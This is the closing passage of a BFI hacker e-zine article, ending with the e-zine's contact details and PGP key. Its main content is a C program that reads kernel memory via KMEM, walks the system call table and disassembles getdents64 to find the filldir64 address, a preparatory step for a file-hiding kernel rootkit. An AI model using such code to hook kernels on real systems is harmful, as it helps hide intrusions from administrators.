* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <bastard.h>
#include <libdis.h>
#include <sys/syscall.h>
#define SIZE 20
int stalk_filldir64(int fd, unsigned long *address);

int
main(void)
{
int file_descriptor;
off_t offset;
unsigned char byte_letto;
if ((file_descriptor = open(KMEM, O_RDONLY)) < 0) {
fprintf(stderr, "Cannot open kmem\n");
exit(-1);
}
disassemble_init(0, ATT_SYNTAX);

if ((stalk_filldir64(file_descriptor, (unsigned long *) &offset)) < 0)
exit(-1);

disassemble_cleanup();
close(file_descriptor);
}

int
stalk_filldir64(int fd, unsigned long *address)
{
unsigned long s_c_t[256] = {
0
};
static char buffer[SIZE];
int i,
j,
k;
struct instr istruzione;
*address = SYS_CALL_TABLE;

if ((lseek(fd, *address, SEEK_SET)) == -1)
return -1;
if (read(fd, s_c_t, 256 * 4) <= 0)
return -1;
*address = s_c_t[__NR_getdents64];
for (i = 0, j = 0, k = 0;; i += j) {
if (lseek(fd, (*address) + i, SEEK_SET) == -1)
return -1;
if (read(fd, buffer, SIZE) < SIZE) {
fprintf(stderr, "Cannot read\n");
return -1;
}
if ((j = disassemble_address(buffer, &istruzione))) {
if (istruzione.mnemonic[0] != 0)
if ((strstr(istruzione.mnemonic, "call"))) {
k = 1;

}
if (k) {
if ((strstr(istruzione.mnemonic, "push"))) {
if (istruzione.dest[0] != 0)
if ((strstr(istruzione.dest, "$0xC0"))) {
printf("#define FILLDIR64 0x%s\n",
&istruzione.dest[3]);
break;
}
if (istruzione.src[0] != 0)
if ((strstr(istruzione.src, "$0xC0"))) {
printf("#define FILLDIR64 0x%s\n",
&istruzione.src[3]);
break;
}
}
}
} else
j = 1;
}



return 0;
}
<-X->



-[ WEB ]----------------------------------------------------------------------

http://bfi.s0ftpj.org [main site - IT]
http://bfi.cx [mirror - IT]
http://bfi.freaknet.org [mirror - AT]
http://bfi.anomalistic.org [mirror - SG]


-[ E-MAiL ]-------------------------------------------------------------------

bfi@s0ftpj.org


-[ PGP ]----------------------------------------------------------------------

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni
DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374
nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO
lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax
iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3
TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1
c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b
a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql
GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo
WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse
gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J
l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo=
=o7CG
-----END PGP PUBLIC KEY BLOCK-----


==============================================================================
-----------------------------------[ EOF ]------------------------------------
==============================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT